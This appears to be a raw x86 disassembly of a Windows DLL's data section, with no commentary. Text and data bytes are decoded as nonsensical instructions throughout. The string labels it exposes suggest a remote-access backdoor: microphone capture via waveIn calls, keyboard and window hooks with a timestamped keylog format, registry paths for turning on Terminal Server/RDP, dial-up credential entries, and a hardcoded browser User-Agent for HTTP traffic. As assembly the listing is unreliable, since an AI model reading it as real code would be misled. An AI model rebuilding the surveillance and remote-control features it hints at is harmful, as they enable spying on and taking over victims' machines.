add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
nop
mov bl, 0
adc byte [eax], al
sub al, 1
adc byte [eax], dh
sub al, 1
adc byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [edi + 0x49], dl
push edi
dec ecx
dec esi
dec ebp
dec ebp
insb byte es:[edi], dx
insb byte es:[edi], dx
add byte [eax], al
add byte [edi + 0x61], dh
ja 0x1002008f
jbe 0x10020095
dec edi
jne 0x100200a7
push ebp
outsb dx, byte [esi]
jo 0x100200a9
jo 0x1002009b
jb 0x100200a1
dec eax
popal
jb 0x10020043
add byte [edi + 0x61], dh
ja 0x100200a7
jbe 0x100200ad
dec edi
jne 0x100200bf
inc ebx
insb byte es:[edi], dx
outsd dx, dword [esi]
jae 0x100200b5
add byte [eax], al
add byte [eax], al
ja 0x100200b7
jbe 0x100200bd
dec edi
jne 0x100200cf
push edx
jae 0x100200c4
je 0x10020061
add byte [eax], al
add byte [edi + 0x61], dh
ja 0x100200c7
jbe 0x100200cd
dec ecx
outsb dx, byte [esi]
push ebp
outsb dx, byte [esi]
jo 0x100200e0
jo 0x100200d2
jb 0x100200d8
dec eax
popal
jb 0x1002007a
add byte [eax], al
ja 0x100200df
jbe 0x100200e5
dec ecx
outsb dx, byte [esi]
inc ebx
insb byte es:[edi], dx
outsd dx, dword [esi]
jae 0x100200ec
add byte [edi + 0x61], dh
ja 0x100200eb
jbe 0x100200f1
dec ecx
outsb dx, byte [esi]
push ebx
je 0x10020100
jo 0x10020093
add byte [edi + 0x61], dh
ja 0x100200f7
popal
jbe 0x100200fd
dec ecx
outsb dx, byte [esi]
push edx
jae 0x10020103
je 0x100200a0
xor byte [eax], al
add byte [eax], al
ja 0x10020107
add byte [eax], al
add byte [edi + 0x61], dh
ja 0x10020107
jbe 0x1002010d
dec edi
dec edi
jne 0x1002011f
push edi
jb 0x10020117
imul esi, dword [ebp], 0x77000000
invalid
je 0x10020115
add byte [eax], al
add byte [eax], al
ja 0x10020117
popal
jbe 0x1002011d
dec ecx
dec ecx
outsb dx, byte [esi]
push ebx
je 0x1002011e
jb 0x10020133
add byte [edi + 0x61], dh
ja 0x10020123
jbe 0x10020129
dec ecx
outsb dx, byte [esi]
inc ecx
inc edx
jne 0x10020132
jb str.waveInPrepareHeader
jb str.waveInPrepareHeader
add byte [edi + 0x61], dh
ja 0x10020133
ja 0x10020133
jbe 0x10020139
dec ecx
outsb dx, byte [esi]
push eax
jb 0x1002013e
jo str.waveOutOpen
jo str.waveOutOpen
jb 0x10020142
dec eax
popal
popal
jb str.KERNEL32.dll
dec ebx
inc ebp
push edx
dec esi
inc ebp
dec esp
xor esi, dword [edx]
insb byte es:[edi], dx
insb byte es:[edi], dx
add byte [eax], al
add byte [eax], al
inc ebx
jb str.InitializeCriticalSection
add byte [eax], al
add byte [ebx + 0x72], al
inc ebx
jb str.InitializeCriticalSection
popal
popal
je 0x1002015f
push esp
push 0x64616572
popal
add byte fs:[eax], al
add byte [eax], al
add byte [eax], al
ja 0x10020167
add byte [edi + 0x61], dh
ja 0x10020167
jbe 0x1002016d
dec ecx
dec ecx
outsb dx, byte [esi]
dec edi
jo 0x10020172
outsb dx, byte [esi]
add byte [eax], al
ja 0x10020173
jbe 0x10020179
dec ecx
outsb dx, byte [esi]
inc edi
je 0x10020168
jne 0x10020189
inc esp
jbe 0x10020193
jbe 0x10020193
jae 0x10020121
add byte [eax], al
add byte [eax], al
ja 0x10020187
add byte [eax], al
add byte [edi + 0x61], dh
ja 0x10020187
jbe 0x1002018d
dec edi
jne 0x1002019f
push eax
jb 0x10020193
jo 0x10020191
jb 0x10020197
dec eax
popal
jb 0x10020139
add byte [eax], al
add byte [edi + 0x61], dh
ja 0x1002019f
ja 0x1002019f
jbe 0x100201a5
dec edi
jne 0x100201b7
je 0x10020193
dec edi
jo 0x100201ab
outsb dx, byte [esi]
add byte [edi + 0x61], dh
ja 0x100201ab
jbe 0x100201b1
dec edi
jne 0x100201c3
inc edi
je 0x100201a1
jne 0x100201c2
inc esp
jbe 0x100201cc
add byte [eax], al
add byte [ecx + 0x6e], cl
dec ecx
outsb dx, byte [esi]
dec ecx
outsb dx, byte [esi]
imul esi, dword [ecx + ebp*2 + 0x61], 0x657a696c
inc ebx
je 0x100201ca
popal
insb byte es:[edi], dx
imul edi, dword [edx + 0x65], 0x74697243
imul esp, dword [ebx + 0x61], 0x6365536c
je str.2008
jb 0x100201d2
imul esi, dword [ecx + ebp*2 + 0x63], 0x65536c61
arpl word [ecx + ebp*2 + 0x6f], si
je 0x100201d4
arpl word [ecx + 0x6c], sp
insb byte es:[edi], dx
push ebx
arpl word gs:[ecx + ebp*2 + 0x6f], si
imul ebp, dword [edi + 0x6e], 0x6b000000
invalid
outsd dx, dword [esi]
outsb dx, byte [esi]
add byte [eax], al
add byte [ebx + 0x65], ch
imul esp, dword [ebp + 0x72], 0x6e
jb 0x100201ea
insb byte es:[edi], dx
xor esi, dword [edx]
insb byte es:[edi], dx
insb byte es:[edi], dx
add byte [eax], al
add byte [eax], al
push edi
add byte [edi + 0x53], dl
push edi
push ebx
push ebx
xor bl, byte [edi + 0x33]
xor ch, byte [esi]
inc esp
dec esp
dec esp
add byte [eax], al
arpl word [edi + 0x6e], bp
add byte [ebx + 0x6f], ah
arpl word [edi + 0x6e], bp
outsb dx, byte [esi]
arpl word gs:[eax + eax], si
add byte [eax], al
add byte [eax], bl
rol byte [ecx], cl
adc byte [eax], al
add byte [eax], al
add byte [esi], ch
push eax
inc ecx
pop eax
add byte [eax], al
add byte [eax], al
sbb dl, dl
add dword [eax], edx
add byte [eax], al
add byte [eax], al
push eax
rol byte [ecx], cl
adc byte [eax], al
add byte [eax], al
add byte [esi], ch
push eax
inc ecx
inc esp
add byte [eax], al
add byte [eax], al
bound esp, qword [ecx + 0x64]
and byte fs:[ecx + 0x6c], al
and byte [ecx + 0x6c], al
insb byte es:[edi], dx
outsd dx, dword [esi]
arpl word [ecx + 0x74], sp
add byte gs:[eax], al
je 0x10020231
add byte [eax], al
add byte [eax], al
bound esp, qword [ecx + 0x64]
and byte [edx + 0x75], ah
and byte fs:[edx + 0x75], ah
bound esi, qword [ebp + 0x66]
jb 0x100201db
jb 0x100201db
add byte [edx], dh
xor dh, byte [eax]
xor byte [eax], bh
add byte [eax], al
add byte [eax], al
xor dh, byte [eax]
xor byte [ebx], dh
add byte [eax], al
add byte [eax], al
xor dh, byte [eax]
xor byte [eax], dh
add byte [eax], al
add byte [eax], al
push eax
jb 0x10020266
xor dh, byte [eax]
xor byte [eax], bh
add byte [eax], al
add byte [eax], al
xor dh, byte [eax]
xor byte [ebx], dh
add byte [eax], al
add byte [eax], al
xor dh, byte [eax]
xor byte [eax], dh
add byte [eax], al
add byte [eax], al
push eax
jb 0x10020266
jne 0x1002025d
je 0x1002024a
popal
insd dword es:[edi], dx
add byte gs:[ebx + 0x4f], dl
push ebx
dec edi
inc esi
push esp
push edi
inc ecx
push edx
inc ebp
pop esp
dec ebp
imul esp, dword [ebx + 0x72], 0x666f736f
je 0x1002026f
push edi
imul ebp, dword [esi + 0x64], 0x2073776f
dec esi
push esp
pop esp
inc ebx
jne 0x10020293
jb 0x10020288
outsb dx, byte [esi]
je 0x1002027c
jb 0x1002029c
imul ebp, dword [edi + 0x6e], 0
and eax, 0x25642573
jae 0x10020237
jae 0x10020258
and eax, 0x25000073
add byte fs:[eax], al
push ebp
add byte [0x55000064], ah
push ebp
jae 0x100202a4
jb 0x1002026e
inc ecx
outsb dx, byte gs:[si]
je 0x10020281
and byte [ebp + 0x6f], cl
jp 0x100202b5
insb byte es:[edi], dx
insb byte es:[edi], dx
popal
das
xor al, 0x2e
xor byte [eax], ah
sub byte [ebx + 0x6f], ah
insd dword es:[edi], dx
jo 0x100202bb
je 0x100202c5
bound ebp, qword [ebp + 0x3b]
and byte [ebp + 0x53], cl
insb byte es:[edi], dx
cmp esp, dword gs:[eax]
dec ebp
push ebx
dec ecx
inc ebp
and byte [esi], dh
xor byte cs:[ebx], bh
xor byte cs:[ebx], bh
and byte [edi + 0x69], dl
outsb dx, byte [esi]
outsd dx, dword fs:[esi]
outsd dx, dword [esi]
ja 0x100202e5
and byte [esi + 0x54], cl
and byte [0x203b312e], dh
push ebx
push esi
xor dword [ebx], edi
and byte [esi], ch
dec esi
inc ebp
push esp
xor al, 0x2e
xor byte [ebx + 0x3b], al
and byte [esi], ch
dec esi
cmp esp, dword [eax]
dec esi
inc ebp
push esp
xor al, 0x2e
xor byte [ebp + 0x29], al
add byte [ecx + 0x6e], cl
dec ecx
outsb dx, byte [esi]
je 0x100202fd
jb 0x10020308
je 0x100202ec
dec edi
jo 0x10020304
outsb dx, byte [esi]
push ebp
jb 0x1002030f
inc ecx
add byte [eax], al
add byte [eax], al
dec ecx
outsb dx, byte [esi]
je 0x10020311
jb 0x1002031c
je 0x10020300
jo 0x10020318
outsb dx, byte [esi]
inc ecx
add byte [eax], al
add byte [ecx + 0x6e], cl
dec ecx
outsb dx, byte [esi]
je 0x10020321
jb 0x1002032c
jb 0x1002032c
je 0x10020304
insb byte es:[edi], dx
outsd dx, dword [esi]
jae 0x1002032a
dec eax
popal
outsb dx, byte [esi]
insb byte es:[edi], dx
add byte gs:[edi + 0x49], dl
push edi
dec ecx
dec esi
dec ecx
dec esi
inc ebp
push esp
insb byte es:[edi], dx
insb byte es:[edi], dx
add byte [0x64252e64], ah
and eax, 0x64252e64
and eax, 0x64252e64
and byte [eax], al
add byte [eax], al
add byte [0x73255c73], ah
and eax, 0x73255c73
add byte [eax], al
add byte [ebp + 0x69], cl
dec ebp
invalid
arpl word [edx + 0x6f], si
jae 0x10020366
jae 0x100202ee
add byte [eax], al
dec ebp
imul esp, dword [ebx + 0x72], 0x666f736f
je 0x10020356
je 0x10020356
dec esi
je 0x10020375
ja 0x1002036e
outsd dx, dword [esi]
jb 0x1002036c
imul ebx, dword [ebx + eax*2 + 0x6f], 0x6e
pop esp
inc ebx
outsd dx, dword [esi]
outsb dx, byte [esi]
outsb dx, byte [esi]
arpl word gs:[ecx + ebp*2 + 0x6f], si
je 0x10020373
outsd dx, dword [esi]
outsb dx, byte [esi]
jae 0x1002036a
jo 0x10020372
bound ebp, qword [ebx + 0x5c]
imul ebx, dword [edx + esi*2 + 0x61], 0x73
jo 0x1002037f
pop esp
jb 0x10020375
jae 0x10020386
push 0x2e656e6f
jo 0x1002037f
outsd dx, dword [esi]
outsb dx, byte [esi]
jo 0x1002037f
bound ebp, qword [ebx]
add byte [ecx + eax*2 + 0x70], bl
pop esp
inc ecx
jo str.advapi32.dll
insb byte es:[edi], dx
imul eax, dword [eax], 0
pop esp
inc ecx
jo str.advapi32.dll
insb byte es:[edi], dx
imul esp, dword [ebx + 0x61], 0x6e6f6974
outsd dx, dword [esi]
outsb dx, byte [esi]
and byte [ecx + 0x74], al
popal
pop esp
dec ebp
imul esp, dword [ebx + 0x72], 0x666f736f
je 0x10020398
dec esi
je 0x100203b7
outsd dx, dword [esi]
jb 0x100203ae
pop esp
inc ebx
outsd dx, dword [esi]
outsb dx, byte [esi]
outsb dx, byte [esi]
arpl word gs:[ecx + ebp*2 + 0x6f], si
outsb dx, byte [esi]
jae 0x100203ac
jo 0x100203b4
imul ebx, dword [edx + esi*2 + 0x61], 0x73
jo 0x100203c1
jae 0x100203c8
push 0x2e656e6f
jo 0x100203c1
outsd dx, dword [esi]
outsb dx, byte [esi]
jo 0x100203c1
imul eax, dword [eax], 0
add byte [eax], al
inc esp
outsd dx, dword [esi]
arpl word [ebp + 0x6d], si
outsb dx, byte gs:[esi]
outsb dx, byte [esi]
je 0x100203e0
jae 0x1002038e
and byte [ecx + 0x6e], ah
popal
outsb dx, byte [esi]
and byte fs:[ebx + 0x65], dl
je 0x100203ea
push ebx
je 0x100203ea
je 0x100203e0
imul ebp, dword [esi + 0x67], 0x43005c73
inc ebx
outsd dx, dword [esi]
outsb dx, byte [esi]
jae 0x100203d7
add byte [ebx + 0x6f], al
inc ebx
outsd dx, dword [esi]
outsb dx, byte [esi]
jbe 0x100203e6
jb 0x100203f7
push ebx
imul esp, dword [esp + edx*2 + 0x6f], 0x69727453
outsb dx, byte [esi]
push ebx
push esp
outsd dx, dword [esi]
push ebx
je 0x100203fd
imul ebp, dword [esi + 0x67], 0x41646953
push ebx
imul esp, dword [ecx + eax*2], 0x76646100
popal
jbe 0x100203f9
inc ecx
add byte [eax], al
popal
jbe 0x100203f9
jo 0x10020403
xor esi, dword [edx]
insb byte es:[edi], dx
insb byte es:[edi], dx
add byte [eax], al
add byte [eax], al
dec esp
and al, 0x5f
push edx
popal
jae 0x100203ef
popaw
popaw
jne 0x1002041c
je 0x100203f5
jb 0x10020419
outsb dx, byte gs:[esi]
je 0x10020422
popal
insb byte es:[edi], dx
jae 0x100203e0
xor byte [eax], al
add byte [edx + 0x61], dl
push edx
popal
popal
jae str.Shell32.dll
imul esp, dword [ecx + 0x6c], 0x61726150
popal
jb str._s_s_s
insd dword es:[edi], dx
jae 0x100203ef
and eax, 0x302373
add byte [ebp + 0x76], al
inc esp
invalid
invalid
imul esp, dword [ebx + 0x65], 0x68500000
push eax
invalid
outsd dx, dword [esi]
outsb dx, byte [esi]
dec esi
jne 0x10020451
bound esp, qword [ebp + 0x72]
add byte [ecx + ebp*2 + 0x61], al
inc esp
invalid
popal
jb str.DialParamsUID
inc esp
imul esp, dword [ecx + 0x6c], 0x61726150
popal
insb byte es:[edi], dx
push eax
popal
jb 0x10020451
popal
insd dword es:[edi], dx
jae 0x10020448
dec ecx
inc esp
add byte [eax], al
add byte [ebx + 0x68], dl
push ebx
invalid
insb byte es:[edi], dx
insb byte es:[edi], dx
push 0x456c6c65
inc ebp
js 0x10020465
arpl word [ebp + 0x74], si
inc ecx
add byte [eax], al
add byte [ebx + 0x68], dl
push ebx
push 0x336c6c65
xor ch, byte [esi]
insb byte es:[edi], dx
push ebx
push 0x336c6c65
xor ch, byte [esi]
insb byte es:[edi], dx
insb byte es:[edi], dx
add byte [ebx + 0x48], dl
push ebx
dec eax
inc edi
je 0x10020460
inc esi
imul ebp, dword [ebp + 0x49], 0x416f666e
dec ecx
outsb dx, byte [esi]
outsw dx, word [esi]
inc ecx
add byte [eax], al
add byte cs:[eax], al
add byte cs:[eax], al
add byte [0x25732573], ah
and eax, 0x25732573
and eax, 0x25732573
jae 0x10020433
add byte [0x2a732573], ah
and eax, 0x2a732573
sub al, byte cs:[eax]
pop esp
add byte [eax], al
add byte [eax + 0x74], cl
dec eax
je 0x100204b7
invalid
das
xor dword [esi], ebp
xor dword [eax], esp
xor al, 0x30
and byte [eax + esi], dh
xor esp, dword [eax]
inc esi
outsd dx, dword [esi]
jb 0x100204b3
imul esp, dword [esp + 0x65], 0xd0a0d6e
or bh, byte [eax + ecx*2]
xor dword [esi], edi
xor al, 0x30
xor esp, dword [eax]
inc esi
outsd dx, dword [esi]
jb str.Application
bound ebp, qword [ecx + 0x64]
outsb dx, byte gs:[esi]
cmp al, 0x2f
dec eax
imul esp, dword [esp + 0x65], 0x482f3c6e
xor dword [esi], edi
add byte [eax], al
add byte [eax], al
dec eax
push esp
push esp
push eax
das
xor dword [esi], ebp
xor byte [eax], ah
xor dh, byte [eax]
xor byte [eax], ah
dec edi
dec ebx
or eax, 0xa0d0a
push eax
add byte [eax], al
add byte [ebx + esi*2 + 0x79], bl
pop esp
jae 0x10020508
jae 0x100204fd
outsd dx, dword [esi]
popal
je str.WinSta0Default
push edi
imul ebp, dword [esi + 0x53], 0x5c306174
inc esp
popaw
jne 0x10020512
je str.zhongjie
jp 0x10020512
outsd dx, dword [esi]
outsb dx, byte [esi]
push 0x69
add byte gs:[eax], al
add byte [eax], al
add byte [ebx + 0x79], dl
push ebx
jns 0x1002052a
invalid
push ebx
jns 0x1002052a
je 0x1002051e
insd dword es:[edi], dx
insd dword es:[edi], dx
add byte [eax], al
push ebx
arpl word gs:[ebp + 0x72], si
imul esi, dword [ecx + edi*2], 0x41000000
inc ecx
inc ecx
jo 0x1002053b
insb byte es:[edi], dx
imul esp, dword [ebx + 0x61], 0x6e6f6974
add byte [esi], ch
inc esp
inc ebp
inc esi
inc ecx
push ebp
dec esp
push esp
pop esp
dec ebx
jns 0x10020543
outsd dx, dword [esi]
popal
jb 0x10020549
and byte [ecx + 0x79], cl
outsd dx, dword [esi]
jne 0x10020560
pop esp
push esp
outsd dx, dword [esi]
insb byte es:[di], dx
add byte gs:[eax + 0x6f], cl
dec eax
outsd dx, dword [esi]
je 0x10020563
jns 0x100204fb
add byte [edx], dh
add byte [eax], al
add byte [ebx + 0x59], dl
push ebx
pop ecx
push ebx
push esp
inc ebp
dec ebp
pop esp
inc ebx
jne 0x1002057c
jb 0x10020571
outsb dx, byte [esi]
je 0x10020552
outsd dx, dword [esi]
outsb dx, byte [esi]
je 0x10020585
jb 0x10020583
outsd dx, dword [esi]
insb byte es:[edi], dx
push ebx
je 0x10020575
inc ebx
outsd dx, dword [esi]
outsb dx, byte [esi]
je 0x10020590
outsd dx, dword [esi]
insb byte es:[edi], dx
pop esp
push esp
jb 0x10020592
imul ebp, dword [esi + 0x61], 0x6553206c
push ebx
jb 0x100205a4
jb 0x100205a4
jb 0x1002058d
push edi
jae 0x10020591
jb 0x1002059b
jo 0x100205b0
pop esp
push esp
jae 0x1002059b
je 0x100205a4
jo 0x10020543
add byte [ebx + 0x59], dl
push ebx
pop ecx
push ebx
push esp
inc ebp
dec ebp
pop esp
inc ebx
jne 0x100205c0
jb 0x100205b5
outsb dx, byte [esi]
je 0x10020596
inc ebx
outsd dx, dword [esi]
outsb dx, byte [esi]
je 0x100205c9
outsd dx, dword [esi]
insb byte es:[edi], dx
push ebx
je 0x100205b9
inc ebx
outsd dx, dword [esi]
outsb dx, byte [esi]
je 0x100205d4
outsd dx, dword [esi]
insb byte es:[edi], dx
pop esp
push esp
jb 0x100205d6
imul ebp, dword [esi + 0x61], 0x6553206c
jb 0x100205e8
jbe 0x100205d8
jb 0x100205d1
jb 0x100205d1
push edi
imul ebp, dword [esi + 0x53], 0x69746174
outsd dx, dword [esi]
outsb dx, byte [esi]
jae 0x100205dd
imul ebp, dword [edi + 0x6e], 0x44525c73
push edx
inc esp
push eax
sub eax, 0x706354
push esp
arpl word [eax], si
add byte [eax], al
add byte [ebx + 0x59], dl
push ebx
pop ecx
pop ecx
push ebx
push esp
inc ebp
dec ebp
pop esp
inc ebx
jne 0x10020608
jb 0x100205fd
outsb dx, byte [esi]
je 0x100205de
outsd dx, dword [esi]
outsb dx, byte [esi]
je 0x10020611
outsd dx, dword [esi]
insb byte es:[edi], dx
push ebx
je 0x10020601
pop esp
inc ebx
outsd dx, dword [esi]
outsb dx, byte [esi]
je 0x1002061c
outsd dx, dword [esi]
insb byte es:[edi], dx
pop esp
push esp
jb 0x1002061e
insd dword es:[edi], dx
imul ebp, dword [esi + 0x61], 0x6553206c
and byte [ebx + 0x65], dl
jb 0x10020630
jbe 0x10020620
jb 0x10020619
jb 0x10020619
push edx
inc esp
push eax
push esp
arpl word [eax], si
push eax
outsd dx, dword [esi]
jb 0x1002063c
dec esi
jne 0x10020638
bound esp, qword [ebp + 0x72]
add byte [eax], al
inc sp
inc esp
outsb dx, byte gs:[esi]
jns 0x1002062a
push ebx
inc ebx
outsd dx, dword [esi]
outsb dx, byte [esi]
outsb dx, byte [esi]
arpl word gs:[ecx + ebp*2 + 0x6f], si
je str.SYSTEMCurrentControlSetControlTerminal_Server
imul ebp, dword [edi + 0x6e], 0x53000073
push ebx
pop ecx
outsd dx, dword [esi]
outsb dx, byte [esi]
jae 0x100205e3
add byte [ebx + 0x59], dl
push ebx
pop ecx
push ebx
push esp
inc ebp
dec ebp
pop esp
inc ebx
jne 0x10020660
jb 0x10020655
outsb dx, byte [esi]
je 0x10020636
outsd dx, dword [esi]
outsb dx, byte [esi]
je 0x10020669
outsd dx, dword [esi]
insb byte es:[edi], dx
push ebx
je 0x10020659
push ebx
jb 0x10020677
imul esp, dword [ebx + 0x65], 0x65545c73
jb 0x10020677
push ebx
jb 0x10020684
imul esp, dword [ebx + 0x65], 0x53000000
push ebx
pop ecx
add byte [eax], al
add byte [ebx + 0x59], dl
push ebx
pop ecx
push ebx
push esp
inc ebp
dec ebp
pop esp
inc ebx
jne 0x10020690
jb 0x10020685
outsb dx, byte [esi]
je 0x10020666
outsd dx, dword [esi]
outsb dx, byte [esi]
je 0x10020699
outsd dx, dword [esi]
insb byte es:[edi], dx
push ebx
je 0x10020689
push ebx
jb 0x100206a7
jbe 0x1002069b
imul esp, dword [ebx + 0x65], 0x65545c73
arpl word [ebp + 0x73], sp
pop esp
push esp
jb 0x100206a7
jb 0x100206a7
inc esp
inc esp
add byte [eax], al
add byte [eax], al
push ebx
je 0x100206a4
jb 0x100206b9
add byte [eax], al
add byte [ebx + 0x59], dl
push ebx
pop ecx
push ebx
pop ecx
push ebx
push esp
inc ebp
dec ebp
pop esp
inc ebx
jne 0x100206c4
jb 0x100206b9
outsb dx, byte [esi]
je 0x1002069a
outsd dx, dword [esi]
outsb dx, byte [esi]
je 0x100206cd
outsd dx, dword [esi]
insb byte es:[edi], dx
push ebx
je 0x100206bd
pop esp
inc ebx
outsd dx, dword [esi]
outsb dx, byte [esi]
je str.SOFTWAREPoliciesMicrosoftWindowsInstaller
outsd dx, dword [esi]
insb byte es:[edi], dx
pop esp
push esp
jb 0x100206da
imul ebp, dword [esi + 0x61], 0x6553206c
jb 0x100206ec
jb 0x10020679
jb 0x10020679
add byte [eax], al
add byte [ebx + edx*2 + 0x45], dl
push esp
push ebx
inc ebp
outsb dx, byte [esi]
popal
bound ebp, qword [ebp + 0x64]
add byte fs:[eax], al
add byte [eax], al
add byte [ebx + 0x4f], dl
push ebx
dec edi
dec edi
inc esi
push esp
push edi
inc ecx
push edx
inc ebp
pop esp
dec ebp
imul esp, dword [ebx + 0x72], 0x666f736f
je 0x100206f7
pop esp
push edi
imul ebp, dword [esi + 0x64], 0x2073776f
dec esi
push esp
pop esp
inc ebx
jne 0x1002071b
jb 0x10020710
outsb dx, byte [esi]
je 0x10020704
jb 0x10020724
imul ebp, dword [edi + 0x6e], 0x6e69575c
insb byte es:[edi], dx
outsd dx, dword [esi]
outsd dx, dword [si]
outsb dx, byte [esi]
add byte [eax], al
add byte [ebx + 0x68], dl
push ebx
invalid
jne 0x10020738
outsd dx, dword fs:[esi]
ja 0x10020736
push edi
imul esi, dword [eax + ebp*2 + 0x6f], 0x6f4c7475
jne 0x10020743
dec esp
outsd dx, dword [esi]
outsd dx, dword [si]
outsb dx, byte [esi]
add byte [eax], al
add byte [eax], al
push ebx
dec edi
inc esi
push esp
push edi
inc ecx
push edx
inc ebp
pop esp
push eax
outsd dx, dword [esi]
insb byte es:[edi], dx
imul esp, dword [ebx + 0x69], 0x4d5c7365
imul esp, dword [ebx + 0x72], 0x666f736f
je str.Enabled
arpl word [edx + 0x6f], si
jae 0x10020760
je str.Enabled
push edi
imul ebp, dword [esi + 0x64], 0x5c73776f
outsd dx, dword fs:[esi]
ja 0x1002076e
pop esp
dec ecx
outsb dx, byte [esi]
jae str.GET
popal
insb byte es:[edi], dx
insb byte es:[edi], dx
jb 0x10020706
jb 0x10020706
add byte [eax], al
inc ebp
outsb dx, byte [esi]
popal
bound ebp, qword [ebp + 0x41]
insd dword es:[edi], dx
insd dword es:[edi], dx
imul ebp, dword [esi + 0x54], 0x6d655253
outsd dx, dword [esi]
je 0x10020780
add byte [ebx + 0x4f], dl
push ebx
dec edi
inc esi
push esp
push edi
inc ecx
push edx
inc ebp
pop esp
dec ebp
imul esp, dword [ebx + 0x72], 0x666f736f
je 0x1002078b
jae 0x1002079b
je 0x1002078b
push edi
imul ebp, dword [esi + 0x64], 0x5c73776f
pop esp
inc ebx
jne 0x100207ac
jb 0x100207a1
outsb dx, byte [esi]
je 0x10020795
jb 0x100207b5
imul ebp, dword [edi + 0x6e], 0x74656e5c
arpl word [ecx + 0x63], sp
push 0x45000065
inc ebp
outsd dx, dword [esi]
outsb dx, byte [esi]
pop esp
outsb dx, byte [esi]
je 0x100207ad
popal
arpl word [eax + 0x65], bp
add byte [eax], al
inc ebp
outsb dx, byte [esi]
popal
bound ebp, qword [ebp + 0x64]
add byte [ebx + 0x4f], al
inc ebx
dec edi
dec esi
dec esi
inc ebp
inc ebx
push esp
and byte [eax], al
add byte [eax], al
add byte [eax + 0x4f], dl
push eax
dec edi
add byte [eax], al
add byte [eax], al
push eax
dec edi
push ebx
push esp
and byte [eax], al
add byte [eax], al
dec eax
inc ebp
inc ecx
inc esp
and byte [eax], al
add byte [eax], al
inc edi
inc ebp
push esp
and byte [eax], al
add byte [eax], al
add byte [eax + 0x74], ch
invalid
je 0x100207f3
invalid
cmp ch, byte [edi]
das
add bl, bh
jl 0x10020766
jle 0x1002072a
jnp 0x10020791
je 0x100207e5
push esp
add byte [eax], al
rol ah, 1
int3
invalid
add byte [eax], al
add byte [esi + 0x65], cl
dec esi
je 0x100207ef
push ebx
jne str.GetActiveWindow
dec ebx
jns 0x100207a2
add byte [eax], al
add byte [ebp + 0x6e], al
inc ebp
outsb dx, byte [esi]
add byte [eax], al
inc ebp
outsb dx, byte [esi]
jne 0x10020815
push edi
imul ebp, dword [esi + 0x64], 0x73776f
jne 0x10020825
outsd dx, dword [esi]
ja 0x10020822
add byte [ebp + 0x73], dh
jne 0x10020825
jb 0x100207e8
xor ch, byte [esi]
insb byte es:[edi], dx
insb byte es:[edi], dx
add byte [eax], al
dec ecx
dec ebp
dec ebp
xor esi, dword [edx]
insb byte es:[edi], dx
insb byte es:[edi], dx
add byte [eax], al
add byte [0x30255b0a], cl
or eax, 0x30255b0a
xor dh, byte [ebp + 0x2d]
and eax, 0x2d753230
and eax, 0x30252064
xor dh, byte [ebp + 0x3a]
and eax, 0x3a753230
and eax, 0x5d753230
jne 0x10020844
and byte [eax], ch
and eax, 0xa0d2973
sub byte [0xa0d2973], ah
add byte [eax], al
add byte [edi + 0x65], al
inc edi
je 0x1002084b
inc edi
je 0x1002084b
imul ebp, dword [esi + 0x64], 0x6554776f
js 0x10020871
inc ecx
add byte [eax], al
inc edi
je 0x10020845
arpl word [ecx + ebp*2 + 0x76], si
push edi
imul ebp, dword [esi + 0x64], 0x5d00776f
add byte [eax], al
add byte [0x4700000a], cl
inc edi
je 0x10020867
or al, byte [eax]
add byte [edi + 0x65], al
inc edi
je 0x10020867
jns 0x1002086d
popal
insd dword es:[edi], dx
push esp
push esp
js 0x1002089a
je str.ImmGetContext
inc ecx
add byte [ebx + 0x61], al
inc ebx
popal
insb byte es:[edi], dx
insb byte es:[edi], dx
dec esi
js 0x100208a4
dec eax
outsd dx, dword [esi]
outsd dx, dword [esi]
imul eax, dword [ebp + 0x78], 0
add byte [ecx + 0x6d], cl
dec ecx
insd dword es:[edi], dx
insd dword es:[edi], dx
push edx
insb byte es:[edi], dx
popal
jae 0x100208a7
inc ebx
outsd dx, dword [esi]
outsb dx, byte [esi]
je str.DestroyCursor
js 0x100208bd
add byte [eax], al
add byte [ecx + 0x6d], cl
dec ecx
insd dword es:[edi], dx
insd dword es:[edi], dx
inc edi
je 0x10020896
outsd dx, dword [esi]
insd dword es:[edi], dx
jo 0x100208c6
jae 0x100208c2
je 0x100208c4
outsd dx, dword [esi]
outsb dx, byte [esi]
push ebx
je 0x100208d2
imul ebp, dword [esi + 0x67], 0x41
add byte [ecx + 0x6d], cl
dec ecx
insd dword es:[edi], dx
dec ecx
insd dword es:[edi], dx
insd dword es:[edi], dx
inc edi
je 0x100208b2
je 0x100208b2
outsd dx, dword [esi]
outsb dx, byte [esi]
je 0x100208d8
js 0x100208e9
add byte [eax], al
add byte [ebp + 0x79], cl
dec ebp
jns 0x100208be
jb 0x100208e2
popal
je 0x100208e5
dec ebp
popal
add byte [eax], al
push ebx
je 0x100208df
imul ebp, dword [esi + 0x64], 0x4873776f
outsd dx, dword [esi]
outsd dx, dword [esi]
imul eax, dword [ebp + 0x78], 0x41
add byte [eax], al
add byte [ebp + 0x6e], dl
push ebp
outsb dx, byte [esi]
add byte [eax], al
push ebp
outsb dx, byte [esi]
push 0x576b6f6f
imul ebp, dword [esi + 0x64], 0x4873776f
jae 0x100208ee
outsd dx, dword [esi]
outsd dx, dword [esi]
imul eax, dword [ebp + 0x78], 0
inc esp
jae str.GDI32.dll
jb 0x10020921
jns 0x100208f7
jne 0x10020928
jae 0x10020927
jb 0x100208ba
add byte [eax], al
push ebp
jae str.GDI32.dll
jb 0x100208f4
xor ch, byte [esi]
insb byte es:[edi], dx
